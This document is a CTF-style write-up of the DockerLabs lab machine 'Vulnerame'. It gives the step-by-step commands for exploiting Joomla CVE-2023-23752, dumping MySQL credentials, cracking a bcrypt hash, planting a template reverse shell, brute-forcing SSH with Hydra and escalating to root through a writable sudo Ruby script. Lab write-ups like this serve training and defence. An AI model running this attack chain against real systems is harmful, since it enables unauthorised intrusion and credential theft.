> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/hard/vulnerame.md).
# Vulnerame
## Vulnerame — Writeup
| Field | Details |
| ------------------- | ---------- |
| **Platform** | DockerLabs |
| **OS** | Linux |
| **Difficulty** | Hard |
| **Personal Rating** | ⭐⭐⭐⭐☆ |
| **Date** | 2026-04-25 |
| **Author** | Zaiden |
***
### Summary
Vulnerame is a Linux Docker machine running an Apache web server hosting a Joomla 4.0.3 instance under `/wordpress`. The CMS is vulnerable to **CVE-2023-23752**, an unauthenticated information disclosure that leaks database credentials via the Joomla REST API. Using those credentials to access MySQL directly, we extract a bcrypt password hash for user `firstatack`, crack it with hashcat, and log into the Joomla admin panel. From there, we inject a reverse shell into a template file to gain a foothold as `www-data`. Local enumeration reveals two system users; SSH bruteforcing with Hydra yields credentials for `ignacio`. A misconfigured `sudo` rule allows `ignacio` to run a writable Ruby script as root, which we modify to spawn a root shell.
**Attack Path:** `Recon` → `CVE-2023-23752 (Joomla info disclosure)` → `MySQL credential extraction` → `Hash cracking` → `Joomla admin panel` → `Template RCE as www-data` → `SSH bruteforce (ignacio)` → `Sudo Ruby script abuse` → `Root`
***
### 1. Reconnaissance
#### 1.1 Fast Port Scan
We begin with a fast Nmap scan to identify all open ports:
```bash
nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5
```
**Result:** Ports `22`, `80`, and `3306` are open.
*Caption: Fast scan revealing open ports 22, 80 and 3306*
***
#### 1.2 Targeted Port Scan
We run a service and version detection scan targeting only the discovered ports:
```bash
nmap -sCV -p 22,80,3306 -T5 --min-rate 5000 172.17.0.2
```
**Key findings:**
* `22` — OpenSSH 8.2p1
* `80` — Apache 2.4.41 — default page
* `3306` — MySQL 8.0.37 — exposed externally
*Caption: Service detection revealing SSH, Apache and a publicly accessible MySQL instance*
***
#### 1.3 Exploit Search
```bash
searchsploit apache 2.4.41
searchsploit mysql 8.0
```
> Nothing directly exploitable for these versions. We proceed with web enumeration.
***
#### 1.4 Web Exploration
Browsing to `http://172.17.0.2` returns the Apache2 Ubuntu default page — no application here.
*Caption: Apache default page at the root — no application deployed here*
***
#### 1.5 Directory Enumeration
```bash
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .html,.php,.txt
```
**Findings:**
| Path | Status | Notes |
| ----------- | ------ | --------------------- |
| /index.html | 200 | Apache default page |
| /javascript | 301 | — |
| /wordpress | 301 | Application directory |
*Caption: ffuf discovering the /wordpress directory*
***
#### 1.6 Investigating /wordpress
Browsing to `http://172.17.0.2/wordpress` reveals a **Joomla** CMS — not WordPress despite the directory name. The site is titled *"Vulnerame otra vez"*.
*Caption: Joomla site running under /wordpress*
> Note: WPScan aborts immediately — the directory name is misleading, the application is Joomla.
Checking `robots.txt` confirms Joomla's standard directory structure and reveals the admin panel path:
```
Disallow: /administrator/
Disallow: /api/
...
```
*Caption: robots.txt exposing Joomla directory structure*
We confirm the exact version by accessing the manifest file:
```
http://172.17.0.2/wordpress/administrator/manifests/files/joomla.xml
```
**Version: 4.0.3**
*Caption: joomla.xml confirming version 4.0.3*
We also run droopescan for additional intel:
```bash
droopescan scan joomla --url http://172.17.0.2/wordpress
```
*Caption: droopescan confirming interesting URLs including the login page and manifest*
***
### 2. Exploitation
#### 2.1 Vulnerability Identified — CVE-2023-23752
Joomla 4.0.3 is vulnerable to an unauthenticated information disclosure via the REST API. The `/api/index.php/v1/config/application?public=true` endpoint leaks the full application configuration — including database credentials — without requiring authentication.
* **Vulnerability:** CVE-2023-23752 — Joomla! Unauthenticated Information Disclosure
* **Affected Version:** Joomla 4.0.3
* **CVSS:** High
* **Reference:** [CVE-2023-23752](https://nvd.nist.gov/vuln/detail/CVE-2023-23752)
***
#### 2.2 Step-by-Step Walkthrough
**Step 1 — Run the CVE-2023-23752 PoC**
```bash
python3 poc.py -u http://172.17.0.2/wordpress
```
The exploit queries both the users and config API endpoints, leaking:
* Username: `firstatack` (Super Users group)
* DB User: `joomla_user`
* DB Password: `vuln`
* DB Name: `joomla_db`
*Caption: PoC leaking database credentials and admin username via the Joomla REST API*
**Step 2 — Connect to MySQL Directly**
Since port 3306 is externally accessible, we connect using the leaked credentials:
```bash
mysql -h 172.17.0.2 -u joomla_user -pvuln --skip-ssl
```
```sql
use joomla_db;
select * from ffsnq_users;
```
This returns the `firstatack` user with a bcrypt hash:
```
$2y$10$UVmUci/wKgu7LFir7KIzP.NDup3lYDUxPzz7WZryvEYVdUjUVhou.
```
*Caption: Extracting the firstatack password hash from the Joomla database*
**Step 3 — Crack the Hash**
```bash
hashid hash
# [+] Blowfish(OpenBSD) / bcrypt
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```
**Result:** `firstatack:tequieromucho`
*Caption: Hashcat cracking the bcrypt hash — password: tequieromucho*
**Step 4 — Log into the Joomla Admin Panel**
Credentials `firstatack:tequieromucho` grant access to `http://172.17.0.2/wordpress/administrator/`.
*Caption: Successfully logged into the Joomla admin panel as firstatack*
**Step 5 — Template Injection for RCE**
We navigate to **System → Templates → Cassiopeia** and edit `index.php`, injecting a PHP reverse shell payload.
With a listener ready:
```bash
penelope -p 3110
```
We save and trigger the template by browsing to the site.
*Caption: Injecting the reverse shell into the Cassiopeia template's index.php*
*Caption: Reverse shell received as www-data, upgraded to PTY by Penelope*
***
#### 2.3 Proof of Concept
```bash
python3 poc.py -u http://172.17.0.2/wordpress
mysql -h 172.17.0.2 -u joomla_user -pvuln --skip-ssl -e "use joomla_db; select username,password from ffsnq_users;"
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
penelope -p 3110
```
***
#### 2.4 Loot
| Item | Value |
| --------------- | ------------- |
| DB User | joomla\_user |
| DB Password | vuln |
| Joomla User | firstatack |
| Joomla Password | tequieromucho |
| Shell | www-data |
***
### 3. Privilege Escalation
#### 3.1 Enumeration Checklist
* \[x] `sudo -l` → not available for www-data
* \[x] SUID/SGID binaries → nothing useful
* \[x] `/etc/passwd` → found users **guadalupe** and **ignacio**
* \[x] SSH bruteforce with Hydra → **ignacio:gateway**
```bash
cat /etc/passwd | grep -v nologin | grep -v false
```
*Caption: Identifying local users guadalupe and ignacio*
```bash
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```
*Caption: Hydra finding valid SSH credentials for ignacio*
***
#### 3.2 Lateral Movement — SSH as ignacio
```bash
ssh ignacio@172.17.0.2
# password: gateway
```
***
#### 3.3 PrivEsc Method — Sudo Ruby Script Abuse
```bash
sudo -l
```
```
User ignacio may run the following commands on 4c35218b8483:
(ALL : ALL) NOPASSWD: /usr/bin/ruby /usr/bin/saludos.rb
```
*Caption: ignacio can run saludos.rb as root with no password*
Inspecting the script:
```bash
cat /usr/bin/saludos.rb
```
```ruby
#!/usr/bin/env ruby
puts "Feliz hacking"
puts "Aprendamos jugando y compartiendo info"
puts "Esta ya la tienes :-)"
```
The file is writable by our user. We append a shell spawn:
```bash
echo 'system "/bin/bash"' >> /usr/bin/saludos.rb
sudo /usr/bin/ruby /usr/bin/saludos.rb
```
*Caption: Executing the script as root — root shell obtained*
***
### 4. Lessons Learned
#### What Worked Well
* Recognizing the `/wordpress` directory hosted Joomla despite the misleading name
* CVE-2023-23752 directly leaked DB credentials — no bruteforce needed for initial access
* MySQL port exposed externally made credential extraction trivial
* The writable sudo script was an immediate and clean privesc
#### Rabbit Holes / What Didn't Work
* WPScan aborted on the Joomla instance — had to switch to droopescan
* Joomla bruteforce blocked by CSRF token — had to pivot to CVE exploitation
* SSH with `firstatack:tequieromucho` did not work — had to pivot to Hydra against system users
#### New Tools or Techniques Used
* **droopescan** — Joomla/Drupal enumeration
* **CVE-2023-23752** — Joomla unauthenticated REST API config disclosure
* **Hydra** — SSH credential bruteforce against local users extracted from `/etc/passwd`
* Writable sudo Ruby script abuse for privilege escalation
#### Key Takeaway
> Never expose MySQL externally unless absolutely necessary. Combined with an unauthenticated API disclosure vulnerability, a single misconfiguration handed over database credentials, a crackable hash, and ultimately full admin access — all without touching the login form.
***
### References
* [CVE-2023-23752 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-23752)
* [K3ysTr0K3R PoC — GitHub](https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT)
* [Joomla Security Advisory](https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html)
* [GTFOBins — Ruby](https://gtfobins.github.io/gtfobins/ruby/)
* [HackTricks — Joomla](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla)
***
*Writeup by Zaiden | 2026-04-25*